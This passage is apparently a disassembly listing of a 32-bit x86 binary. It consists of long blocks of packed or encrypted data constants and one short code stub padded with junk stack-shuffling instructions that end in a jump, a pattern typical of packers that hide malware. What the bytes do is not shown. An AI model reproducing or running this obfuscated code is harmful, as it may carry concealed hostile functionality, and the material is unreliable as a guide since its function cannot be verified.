		dd 2778E318h, 965FE127h, 304BC06Fh, 6902E48Dh, 6A011FC6h
		dd 9722A4B2h, 639815F8h, 0D78F0783h, 3FC0A251h,	0C25F63Ch
		dd 1615C46Dh, 9BB4D293h, 0B5765819h, 0BBB99106h, 7481C5CBh
		dd 5Fh,	31BD54BEh, 3754314Ah, 0A4BEF432h, 789F8E49h, 422F0AC9h
		dd 0BE8A0E24h, 0EF343F43h, 7336B8D1h, 17ABC4FEh, 18C7886Ah
		dd 724C61Ch, 0B77E0133h, 4FEF0842h, 8A07C8AAh, 0A522E02h
		dd 1211C054h, 0D2B6736Ch, 3BD975E4h, 5BDDF614h,	9F1FB89Ah
		dd 2EB4B3DAh, 21D09173h, 44FB73Fh, 73850000h, 13D259F0h
		dd 50E51A31h, 8CBA18A5h, 0E8203E65h, 9CD36E51h,	0A09C5E1Ah
		dd 3924F244h, 0CF43E687h, 60F9DB8Ah, 8A861DDDh,	5E3CFABEh
		dd 0B1DE0602h, 7F6F3925h, 0E86EEB8Ch, 5279BE32h, 0E43702DDh
		dd 4A8FCE83h, 415F863Ah, 43B32E2Bh, 9ED6123Fh, 7775C88h
		dd 0B9B5FA33h, 3307782Bh, 5BE7E62Bh, 0D4FBBC9Eh, 77845CF2h
		dd 8B283307h, 2BD8D645h, 599187E3h, 0DB000000h,	0CFED86B3h
		dd 42FE4CB9h, 0E9074C3Fh, 0A8499BB1h, 0C80D3306h, 477F3719h
		dd 6A7B331h, 0AF5EA333h, 6A82DB3h, 4D109633h, 8B2AD26Bh
		dd 0DF2528A9h, 2E4892Dh, 67041A41h, 0FFB4B221h,	0BFF787E3h
		dd 69C3BA9h, 27D61B33h,	1127Fh,	0A34A6300h, 0E5872002h
		dd 0AE66153Ch, 0DE061C54h, 0CE3924D2h, 24D32CB8h, 71E52A39h
		dd 0FB7E7D2Ch, 3EBF583Ah, 7D00997Bh, 11AD2B4h, 908B77Eh
		dd 324ABF66h, 3924D6A7h, 55CA6B0Eh, 4103841Bh, 0A746294Fh
		dd 0AF76F9F8h, 0ACC574CDh, 33F2758Eh, 6C35B851h, 62789645h
		dd 3F42D697h, 0F52FA4E9h, 76945DDCh, 6BC8460h, 0DE8DD233h
		dd 3B591A1Fh, 9E47EA03h, 698EF3EFh, 0C1583927h,	8DCC9E7Eh
		dd 0B024D3DBh, 60B64D6Bh, 8160D058h, 0CAF57E88h, 50772B29h
		dd 0C56A83A1h, 426B0220h, 9A18504Ch, 1732A756h,	20C3DC96h
		dd 955F8581h, 0B2F72CE6h, 8185C98Bh, 2F31EC2Ch,	2CCA7h
		dd 601DA600h, 8928D0EBh, 0AE77F914h, 0D69F1E39h, 0FCA14661h
		dd 49544687h, 718C01A4h, 94AF24D1h, 0BFDA4F12h,	753Ch
		dd 77964E64h, 0BC03F49h, 2FF27333h, 7D1C9FBAh, 0BD273DF9h
		dd 993924D2h, 0E8062D54h, 4E0B97B0h, 24D29252h,	7A7C439h
		dd 98BF8062h, 0B3A074E9h, 0B9CFED86h, 3F42FE4Ch, 0E8892F4Ch
		dd 9749DFC1h, 153306A7h, 0C5C33278h, 7E87E3FFh,	0DEh, 0BD3B54C8h
		dd 0CCFB12F4h, 3143F698h, 3433E209h, 750EF0B1h,	780F2DF0h
		dd 327A2F4Eh, 2709B879h, 25BA4891h, 2BCA6D39h, 81189BB6h
		dd 935436FFh, 7BAA0B16h, 0E70E3A5Ah, 0E48DAC05h, 0DC49B0C6h
		dd 9C373F43h, 7C922A9h,	102E550Bh, 1B071F7h, 0B339528Ch
		dd 5CFFE5FBh, 12573307h, 494809EBh, 602103A2h, 2A47F2B1h
		dd 62CF60Ch, 61A63928h,	8852A43h, 2398BF7Ah, 0C26708h
		dd 0EC2C9F68h, 0CEDA6264h, 0A8000001h, 0CEE95E1Bh, 0F712872Eh
		dd 1C37AC75h, 445FD49Dh, 4889FEA3h, 7AA4B56h, 2EEB7792h
		dd 55189EB9h, 8322C5E0h, 5C720E0Eh, 3F497888h, 544119CEh
		dd 17F9B83Bh, 7A8A756h,	84D8040Ch, 79A0D8FEh, 0E833CA04h
		dd 9CDE5284h, 0BAEAD5Ch, 0A2BBF56Ah, 0B2735500h, 3B544B03h
		dd 4A49F8B9h, 641CFEA7h, 2305AC4Bh, 31B4B362h, 5DE0FB70h
		dd 0D95D7694h, 2A836514h, 0AD44620Fh, 4EEE7D12h, 9D992AA7h
		dd 647A9847h, 3F4379DDh, 9E0CEE33h, 0E285377Dh,	1F8E2543h
		dd 80266F8Ch, 90B77E02h, 19326CE1h, 6322D194h, 818D47D6h
		dd 7039AC8Dh, 4628CD71h, 8405E85h, 0C8AA4FEFh, 6D5C5807h
		dd 0B33925A5h, 9CD48C6Eh, 0E9955E86h, 36B3F82Ch, 0CA2DBC3Dh
		dd 201FCEF5h, 0DD7CFC9Dh, 0F7B89A5Bh, 43C7A9D0h, 982F0046h
		dd 1796F770h, 2EAB6C4Eh, 98473291h, 0F51360D9h,	722EADFh
		dd 0D3F13633h, 8C6E37BAh, 8829CCCBh, 0A64964D9h, 0B5DC8527h
		dd 0F1B43AD3h, 0CCE5A10Fh, 56D98829h, 0F1073F10h, 26CB12F3h
		dd 706F1E63h, 75AF24CDh, 0A31363DEh, 0E8971D21h, 45631029h
		dd 0E939122Fh, 0D7B9FE2Ch, 0ED03BB3Eh, 20AD28F7h, 11F31A5Fh
		dd 99AFE7A3h, 20AD294Bh, 0A449EE0Bh, 2BDA01C2h,	49F062A8h
		dd 4AF10A28h, 0A6DEFCABh, 6446EF8Dh, 49F8F4A3h,	1D26CB31h
		dd 0EBD6404h, 0A037559Ah, 904F034Bh, 0AC21D09Bh, 0B03368D1h
		dd 0EC760FF1h, 0C5E30A31h, 0B3D5B3AFh, 785A9F20h, 20955CDFh
		dd 0E1C36205h, 0F375604Bh, 0CB110E46h, 5ACF9619h, 13F5BC3Fh
		dd 5032F37Ah, 0AA7BC1E2h, 9847EE91h, 0DA4F1699h, 3DE487A0h
		dd 45EC8F8Eh, 3DB63h, 7FA90000h, 33EE73A7h, 6C35B851h
		dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh
		dd 0E18024BDh, 1FC666FFh
		db 3Dh,	0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	609Ch
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	edi
		mov	edi, 6249621h
		mov	esi, edi
		pop	edi
		mov	ecx, esi
		pop	esi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ecx
		mov	[ebp+8], edi
		pop	edi
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_536D7B
; ---------------------------------------------------------------------------
		dw 0CC35h
		dd 8B10699Eh, 0FAFBB1DFh, 3B9FE42Bh, 24A8BEB8h,	0FFC50306h
		dd 0CAF86AE0h, 2A8DBA29h, 7FAB8C0Dh, 0EC2F7266h, 0F7450A43h
		dd 64EFF85Eh, 0F68DAC00h, 8B61DC79h, 0E0105D08h, 90DAEA51h
		dd 0B4249333h, 811F0D4Eh, 7328686Fh, 4880F147h,	0B97B1760h
		dd 5CCD23Eh, 12610E50h,	81FC5F73h, 0A3BA4C38h, 0DC63FE45h
		dd 263F4C33h, 0DBD24F09h, 30965071h, 76B1983Ah,	10E860h
		dd 0EBDB0000h, 0D6DD392h, 0DB714612h, 0DC2D2B69h, 0F5797CCh
		dd 182h, 5A58F800h, 71D3C281h, 9E90000h, 0A000000h, 0B255199Ah
		dd 296EDB60h, 0BEh, 0DE900h, 67700000h,	376E81CAh, 57AD2A1Dh
		dd 0FF8A0506h, 0C9811634h, 5373395Fh, 8F0F605Fh, 6, 860Fh
		dd 0CE90000h, 13000000h, 483A247Ah, 0AC5083B8h,	61C5B4F4h
		dd 0F97CF781h, 9BB32F88h, 735EEF81h, 0C9810FE4h, 537FD04Fh
		dd 71E2C781h, 10E95933h, 6F000000h, 79E519CAh, 0E01A88B4h
		dd 0B0F55082h, 5738F2A5h, 32048FF8h, 13E9h, 0DF039400h
		dd 1B5D3FF9h, 7AECDDBFh, 9D2EAF27h, 0B87D3ACh, 81C9C880h
		dd 0BE510EEh, 830F2Ch, 81000000h, 0BE50CC6h, 14DB802Ch
		dd 8F40FE81h, 850FFFFFh, 13h, 0ACDBB866h, 30E9h, 0A1DCF000h
		dd 1121EDBCh, 0E9514EC7h, 0Fh, 0E5DCD468h, 49FB9E8Eh, 168276C7h
		dd 0E92FA93Ch, 0FFFFFF3Bh, 1DDDF60Ah, 0A7246D88h, 0C9B3656h
		dd 8EB53h, 0D4000000h, 0E97BF734h, 4E1h, 24ABC768h, 0D4A9E906h
		dd 6F68FFF9h, 0E90624ACh, 0FFF9D49Fh, 24ADEF68h, 0D495E906h
		dd 0D869FFF9h, 0EF8DA81Dh, 32B6D146h, 44E3FE73h, 680D289Dh
		dd 1D0F50C5h, 53C86D12h, 7AEFAA38h, 0A51ADF5Fh,	0C93EE78Ah
		dd 0CD172DC9h, 893F497Dh, 0F273FCD4h, 3113D657h, 0CE674970h
		dd 0C216342Bh, 987A3FC0h, 559D5AD7h, 0DD04AD4Bh, 0B5975EDEh
		dd 7D58CDF4h, 8399B7BCh, 3F42E1DAh, 9AC516Eh, 5D3F6627h
		dd 6D119C7h, 0B0F69333h, 0E3D64341h, 34BFC87h, 0D8460000h
		dd 0EE83B6A9h, 0F367BAD0h, 24693F42h, 19A5B44Ah, 0E950306Ch
		dd 7D546A88h, 93BBF4Fh,	0C3A54CF0h, 0B9E0852Ah,	6F51960Ah
		dd 304E2316h, 0A182C01Ah, 1F3D8235h, 4DC26306h,	24E68F32h
		dd 0E8AAC18Bh, 7DF1797Bh, 0AC000003h, 0DAF56A17h, 31E9352h
		dd 304BC061h, 5873E889h, 5C9D12D7h, 1BDE5F6Ah, 4AF78BA6h
		dd 7134BAD5h, 975EE1FCh, 70862222h, 3F497D74h, 0B3552DE2h
		dd 0D3921586h, 11D058F1h, 8FA5C3EAh, 3F497D30h,	0D2931932h
		dd 0C802FF0h, 5871A9C7h, 636211D0h, 1A047C2h, 19375E1Fh
		dd 8D4D3D82h, 1DCC2518h, 0EFE88DA8h, 345176E9h,	6381A850h
		dd 0BFCF152Bh, 66FC3300h, 0F50B47BBh, 3300BFEFh, 0FCFB2267h
		dd 2305B47Dh, 0BF528Dh,	0CFCC6F33h, 495F701Ah, 33008B9Bh
		dd 40F976BBh, 13D5FC35h, 0F245C7B6h, 0D5E66E70h, 4000002h
		dd 324DC27Fh, 5B76EB8Ah, 88A318D9h, 0B0CB40E1h,	0B4F56A0Fh
		dd 7336B7C2h, 0A25FE3FEh, 0C96C122Dh, 0EFB63954h, 0C8DE7A7Ah
		dd 3F497F1Ch, 0B3AD853Ah, 0B9CFED86h, 3F497E06h, 0CA3C106h
		dd 0F22AEADEh, 2709B8F7h, 1AC2D86Fh, 448D6E26h,	0A2479995h
		dd 0FC7C3300h, 34BA5335h, 218F71h, 2DCAE0BAh, 17A78E7h
		dd 0EE3387EAh, 7D000001h, 4F31F073h, 0BC1C33B6h, 0CBBBAC9Bh
		dd 0D79E1E1Dh, 980D34F5h, 0E84FC75Eh, 25D853BBh, 0F182B776h
		dd 719CBDD3h, 0C2FA3F43h, 73738ACh, 50119333h, 0F439AD6Eh
		dd 1B89EF77h, 5706A8C2h, 7C21C6E3h, 0D0B2D99Ah,	746A63Ah
		dd 23690633h, 5FD5BB52h, 2E44AA55h, 36E58C2Fh, 0E31C7C7Ah
		dd 0A6BF87h, 0BBA7B5Dh,	2C63h, 3B54AD00h, 8C4BFAA7h, 8DA6C4ADh
		dd 0A7684AEBh, 41C4DAF8h, 573F42FEh, 469A3012h,	663306A8h
		dd 161483C9h, 0CF87E3FFh, 0C7h,	31F07319h, 9431B64Fh, 0A96A4C15h
		dd 6407A082h, 0BF42DBBDh, 0F4D69F1Eh, 0EF16DB5Bh, 1E13AAC8h
		dd 41834CC3h, 99B126D5h, 39259325h, 0D89D223Bh,	878635F6h
		dd 881F3DE4h, 4A1787B3h, 72E796F7h, 0B3D1A297h,	45E2EA9Dh
		dd 53EF083Fh, 5403C4A6h, 647D9BE0h, 4AEFCBC0h, 1900C75Bh
		dd 0C2543F2h, 2BB9CF6Bh, 2B3303F6h, 0E8CA6B0Eh,	64D90027h
		dd 3F01A449h, 0F249A71Ch, 5528B0B2h, 84000001h,	0B2CD42FFh
		dd 0DBF66B0Ah, 8239859h, 304BC061h, 3475EA8Fh, 0F3B63742h
		dd 22DF637Eh, 49EC92ADh, 6F36B9D4h, 485EFAFAh, 3F497F9Ch
		dd 732D05BAh, 80BA2FF2h, 0DA0CEEE9h, 26108D48h,	4A9A8E1h
		dd 30B3B261h, 7328FC71h, 0B64F31F0h, 0FC139A33h, 8E5077E0h
		dd 0C7A9D074h, 8EA8B2Eh, 84F92047h, 0E8FC124Ah,	0E33925B6h
		dd 0EE2A9E43h, 25B70CD8h, 0DE054A39h, 0A8C9702Fh, 0D2CD718Ah
		dd 9BDBFFBBh, 47F61D28h, 68851329h, 0F4393F43h,	7538BDD6h
		dd 15ADC600h, 16C58668h, 6CEC61Ah, 0E37AFD33h, 9BB44C5Fh
		dd 0FB57F594h, 243AF2D4h, 330678C0h, 32A5196h, 0BBC04EE5h
		dd 0AAA0D440h, 0CA6B86FBh, 68AE0D1h, 52D9E7EBh,	0C9F0B193h
		dd 0D76B84A2h, 11997B2Ah, 7Ch, 0ED86B3DFh, 638197CFh, 0F33924D2h
		dd 0CBE1FFAEh, 3F497DF8h, 5CF5D71Ch, 9DD5C2D9h,	3C9FA845h
		dd 0E285A015h, 12A96143h, 0FB3E6D56h, 8DA3C186h, 33000257h
		dd 0F0BBAFFh, 0B0D386A7h, 0C99AE0DDh, 886A0FB0h, 961918C7h
		dd 0BC3F5ACFh, 0F37A13F5h, 26E25032h, 0E3C5680Dh, 0AAF07322h
		dd 37AC75F8h, 9E43E4FDh, 4D4CFBBCh, 0A1290BAAh,	0Ch, 0AA417F6Fh
		dd 6D16582Eh, 0CC47397h, 5133EE73h, 8A6C35B8h, 0C6A84DF1h
		dd 6E8952Dh, 4325C86Dh,	7E6005AAh, 0BD9F46E5h, 0FFE18024h
		dd 3D1FC666h, 5A506800h, 14890000h, 694F6824h, 1C890000h
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 68241489h
		dd 624AB0Ah, 83241C8Bh,	8B5404C4h, 0C4832414h, 4EC8104h
		dd 89000000h, 428F241Ch, 24148B08h, 81E38953h, 4C3h, 4C38300h
		dd 5C241C87h, 5B2434FFh, 0E904C483h, 0FFF9CFD3h, 0AF69B8C4h
		dd 0C5030624h, 0EAEBE0FFh, 0A3B96169h, 0DE1A4E4Bh, 476D38h
		dd 0ED4372C6h, 5B797491h, 6E6A0F8Bh, 2F187159h,	0B6376536h
		dd 69172ADDh, 0D6C806CCh, 8D8D07DBh, 624B105h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h, 35964F62h
		dd 0FE8C06Ch, 0A81h, 0C18A6000h, 1DB589h, 8961061Eh, 1E23758Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 898BF401h, 1E275595h, 4D85C706h,	28061E32h
		dd 0F5000065h, 316985C7h, 61Eh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E85F73C3h
		dd 5, 0D479C5ADh, 26BE66BFh, 0E8565F49h, 13h, 46D054C6h
		dd 511B3F47h, 696D1782h, 898A305h, 31503C4Fh, 1E1CB195h
		dd 0FF5E5806h, 1E0EA9B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 6A7FA131h
		dd 0C3BF0FEEh, 16B995FFh, 8060061Eh, 8B6638C6h,	6A61FBh
		dd 26C195FFh, 0C08B061Eh, 42B55EEBh, 0F3E4BF2Ch, 9C5F1EA8h
		dd 7349FF7Fh, 9793F4A9h, 9BBFE945h, 36905507h, 6F8603EDh
		dd 0A91FF9FFh, 0D1C6C5F8h, 353DE431h, 0BC213E41h, 0E522706Dh
		dd 79818FF4h, 0D5EEB148h, 0F79888F2h, 0D876BD4Dh
		dd 0B39153BDh, 718327EEh, 0DD8CDB4Eh, 0A62A4CEBh, 546308BCh
		dd 1845A1Fh, 269DD856h,	5E8h, 70DB1200h, 9D296580h, 61E0D2Dh
		dd 6D858B5Fh, 81061E14h, 6DEBC7h, 2AF68100h, 0B9389E8Ah
		dd 1B3Eh, 0FFF0BF0Fh, 45852B37h, 5B061E0Fh, 0F0C381F8h
		dd 6015311Bh, 20998D29h, 5E9061Eh, 6A000000h, 8D954A39h
		dd 17EB8161h, 6634211Eh, 5503F281h, 0D5CBF381h,	95895CC3h
		dd 61E009Dh, 0E9078F53h, 10h, 591BC754h, 0B1AF10CDh, 923D1BABh
		dd 0D648E8C5h, 0E803EF83h, 6, 1F510EECh, 0B58B3BB1h, 61E1E09h
		dd 0BE94F5Ah, 0DB000000h, 45B5D754h, 1B7E334Fh,	0E9833786h
		dd 1D850F01h, 60000000h, 66D6B70Fh, 0E961D18Bh,	44h, 88B99944h
		dd 46BB64E9h, 286687C8h, 101CA3A9h, 14E8h, 0CEA08E00h
		dd 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 71B50302h
		dd 5A061E02h, 0FFFF3EE9h, 251B33FFh, 0BC5AE759h, 6B0741FCh
		dd 863D27F8h, 0BE8h, 9283B200h,	43CEE89Bh, 7591BDB6h, 0E95BD68Bh
		dd 5, 1C0242BBh, 1C38181h, 8900006Bh, 1E165D8Dh, 6806h
		dd 8E0F0000h, 6, 0D288F681h, 895933CFh,	1E272985h, 0B048B06h
		dd 69850FBAh, 71C08150h, 8B47BCDEh, 1E2D61BDh, 4FC08106h
		dd 0F0636A3h, 68Ch, 81EA8100h, 812C3BC4h, 0FD69AFC0h, 0B04896Ah
		dd 6660F28Bh, 0E90B1AB9h, 12h, 0EB37FCAAh, 0B6B8E5DEh
		dd 0F8613B94h, 83BD884Dh, 81610D07h, 0F05777E9h, 31B58B69h
		dd 81061E15h, 0F05773C1h, 0DE869h, 33CE0000h, 5D2E6FCFh
		dd 0BDB0FD34h, 8976A83Bh, 1E0DE9B5h, 0F9815E06h, 0FFFF95E0h
		dd 11850Fh, 0D78B0000h,	1DE9h, 73082C00h, 56F2633Eh, 0BFDAD2CBh
		dd 69CDC80h, 0FFFF60E9h, 0DE6CABFFh, 0E76A7EA0h, 9E801D5h
		dd 0C9000000h, 0E212510Bh, 19569035h, 7B0009B9h, 0B52B5B3Ch
		dd 61E1561h, 69ACC381h,	8D890000h, 61E2765h, 0BF5ADBAh
		dd 92C2815Ah, 89A5F424h, 1E1F9585h, 8B038B06h, 1E2FD9BDh
		dd 9BC08106h, 8B4ED3B3h, 0F5E881CEh, 604179DFh,	0E7E28166h
		dd 0FD6AB801h, 81616450h, 0DC7189C0h, 10E960h, 29580000h
		dd 73D21AE2h, 4DAB9388h, 7CDBDEA9h, 0F507C07h, 38FC9B7h
		dd 83C8B70Fh, 0BD8B03EBh, 61E099Dh, 0A1BD8B4Bh,	4A061E0Dh
		dd 0D850Fh, 8B660000h, 1DE9FBh,	1D8A0000h, 513AAD1Fh, 0E95E2FB5h
		dd 0FFFFFF8Dh, 0BBBE3Ah, 5CFEDCB7h, 0EBD10045h,	0E8079A60h
		dd 14h,	0DBEB437h, 3F07D5E5h, 0F6EBEFDBh, 2A0C649Ch, 0DB9C9BE6h
		dd 2713E081h, 805E42C7h, 0C68136F4h, 5C20h, 10E9h, 0E00C7A00h
		dd 9D25D784h, 0C5FA5591h, 42AF8BC0h, 0BB6Eh, 85890000h
		dd 61E1B59h, 8A1E3C8Bh,	47C781EAh, 8B61ED6Dh, 1E1A2995h
		dd 0BAF78106h, 8B420714h, 1E0CF58Dh, 0C7F78106h, 8A72E9E0h
		dd 850F57C3h, 6, 2B6D958Bh, 48F061Eh, 60CF8B1Eh, 6830Fh
		dd 8D890000h, 61E22C5h,	6130C380h, 8903EB83h, 1E0F29B5h
		dd 0EE84B06h, 0D3000000h, 6922452h, 738EEEAh, 904882A8h
		dd 3DB589C3h, 5A061E2Ah, 0A4C4FB81h, 850FFFFFh,	1Ch, 171F44B9h
		dd 22E959h, 6F100000h, 20512959h, 0D9D6B319h, 7F0B6ECh
		dd 4F320050h, 0E9D1B70Fh, 0FFFFFF64h, 8AB30DF4h, 400E4DCEh
		dd 0BD83C08Bh, 61E1D79h, 83097500h, 1E2B25BDh, 19740006h
		dd 0C08B5350h, 421B8h, 0E9858900h, 8D061E0Ch, 20AC3A9Dh
		dd 5BD3FF06h, 25BD8358h, 61E2Bh, 53501774h, 421B8h, 0E9858900h
		dd 8D061E0Ch, 20A9299Dh, 5BD3FF06h, 8BC08B58h, 1E0EC59Dh
		dd 4185C606h, 56061E20h, 0A8B85268h, 91B5FF9Ch,	8D061E32h
		dd 2178D185h, 6AD0FF06h, 10006804h, 0B5FF0000h,	61E2B95h
		dd 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 0AB8D8D00h, 0FF061E71h
		dd 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h
		dd 61E31C9h, 0E840F00h,	8B000000h, 1E31C99Dh, 0D1858B06h
		dd 89061E0Ch, 8D525103h, 1E7B0885h, 8BD0FF06h, 8BF18BFAh
		dd 0F3C88BD1h, 4185C6A4h, 56061E20h, 1F6D3968h,	91B5FFD4h
		dd 8D061E32h, 2178D185h, 68D0FF06h, 8000h, 0FF52006Ah
		dd 83C08BD0h, 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh
		dd 8B535019h, 421B8C0h,	85890000h, 61E0D19h, 0ACA19D8Dh
		dd 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h,	421B853h
		dd 85890000h, 61E0D19h,	0A9429D8Dh, 0D3FF0620h,	0C08B585Bh
		dd 31C99D8Dh, 38B061Eh,	840FC00Bh, 7, 5B8B038Bh, 0B8188904h
		dd 4B41h, 71ACAFEh, 8F99A808h, 4618A4Ch, 0D5ABA808h, 43975EAh
		dd 8C87A808h, 5DBA8A4Ch, 8D7C57AEh, 5298A4Ch, 0D5ABA808h
		dd 5F075EAh, 8DA2A808h,	0A728A4Ch, 822CA808h, 0AF48A4Ch
		dd 0D5ABA808h, 2F2575EAh, 0EE32BD4h, 0F8C00313h, 0A7528CE7h
		dd 86F27B90h, 74D12157h, 2F43AEA3h, 0EECE0D4h, 0C0C00313h
		dd 0A7528CE7h, 86FD2A90h, 40D12157h, 2F43AEA3h,	0EEC5FD4h
		dd 0CCC00313h, 0A7528CE7h, 86FCC690h, 5CD12157h, 2F43AEA3h
		dd 0EED38D4h, 0D8C00313h, 0A7528CE7h, 86FC5390h, 0A8D12157h
		dd 2F43AEA3h, 0EEEB2D4h, 24C00313h, 0A7528CE7h,	86FFD190h
		dd 0A0D12157h, 2F43AEA3h, 0EEE34D4h, 2CC00313h,	0A7528CE7h
		dd 86FF5F90h, 0B8D12157h, 0C343AEA3h, 2A5012B8h, 4ECEDF15h
		dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4613D28h, 2AA8ED96h
		dd 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h, 64C6CB15h
		dd 0D5BA4155h, 63CE75EAh, 1A213AAEh, 42848C0Bh,	2211AB53h
		dd 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h
		dd 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 6C54A851h
		dd 0A24162ADh, 0EA660351h, 2FEE27BFh, 0E981EDBh, 12947513h
		dd 0A0D90201h, 0A46146A3h, 0A1EC79AEh, 941AE51h, 0E6E222DCh
		dd 73BA8C31h, 2ADF1037h, 28C82173h, 2C7064E7h, 2BFD5BEAh
		dd 81508C15h, 6EF30098h, 0FBABAE75h, 89EFD2A5h,	57DDA42Ch
		dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h,	0A2458AFDh
		dd 0C0D5F251h, 0A4613DE8h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh
		dd 30BACC15h, 2C4A86CCh, 69CE529Eh, 0B99783FCh,	31EFE2A5h
		dd 0A0D9F9FAh, 0A46146A3h, 9A0D79AEh, 1A232094h, 81328C55h
		dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h
		dd 0C2345495h, 0A2458A15h, 7EBE290Bh, 2943AEADh, 57DFA024h
		dd 5E004D19h, 2A54A851h, 3FD77553h, 0A152B67Fh,	69CE19CDh
		dd 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A46146A3h, 9A0D79AEh
		dd 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh, 5E000174h
		dd 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh
		dd 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h, 0A2454A38h
		dd 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h, 25862DA0h
		dd 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h, 0AE38A1BEh
		dd 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh, 5FDFC8ADh
		dd 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h,	62765826h
		dd 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h,	2A5D1151h
		dd 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h, 91EF4B93h
		dd 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh
		dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 229D00B9h, 0E1D4A7B2h, 8860085h, 0E6E222DCh,	73BA8C31h
		dd 0A7FEF8E1h, 86893C9Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 0D7D77515h, 2652B661h
		dd 28C82045h, 2C7064E7h, 2BF55BEAh, 86949BFBh, 622E8531h
		dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h,	229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
		dd 0D5FE0451h, 0BC6B1787h, 868C2357h, 2FEF4917h, 0E981EDBh
		dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah,	29247668h
		dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
		dd 0A2457650h, 80F8A851h, 8CD818EAh, 0E2DFAE4Fh, 88558B9h
		dd 0E6E232DCh, 71BA8C31h, 0E3941037h, 63CF2173h, 262983FBh
		dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 8654A851h, 3FD775BFh,	0A152B67Fh
		dd 637726DDh, 9CCE25FBh, 5D43AED9h, 0AAECCE82h,	28EEECE4h
		dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
		dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
		dd 0B0D90337h, 0A46146A3h, 92327BAEh, 9234B95h,	1FE04FDh
		dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
		dd 86893C8Fh, 9A875757h, 0E0320A0h, 9CCE25FBh, 5D43AED9h
		dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4613130h
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 70CE2559h, 0F143AEA3h
		dd 9D6532DCh, 71BA8C31h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2C701E3Bh, 93DF0746h, 0D5528CE6h,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 86F3FC8Fh, 0B0D9FB57h
		dd 0A4613D24h, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 9CD632DCh, 2F168C31h, 0EE399CBh, 2B967513h, 2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 694616EBh
		dd 6F6D656Ch, 616C636Eh, 7373h,	0
		dd 1010000h, 410h, 6A0624h, 3E851h, 59200000h, 4C8959C3h
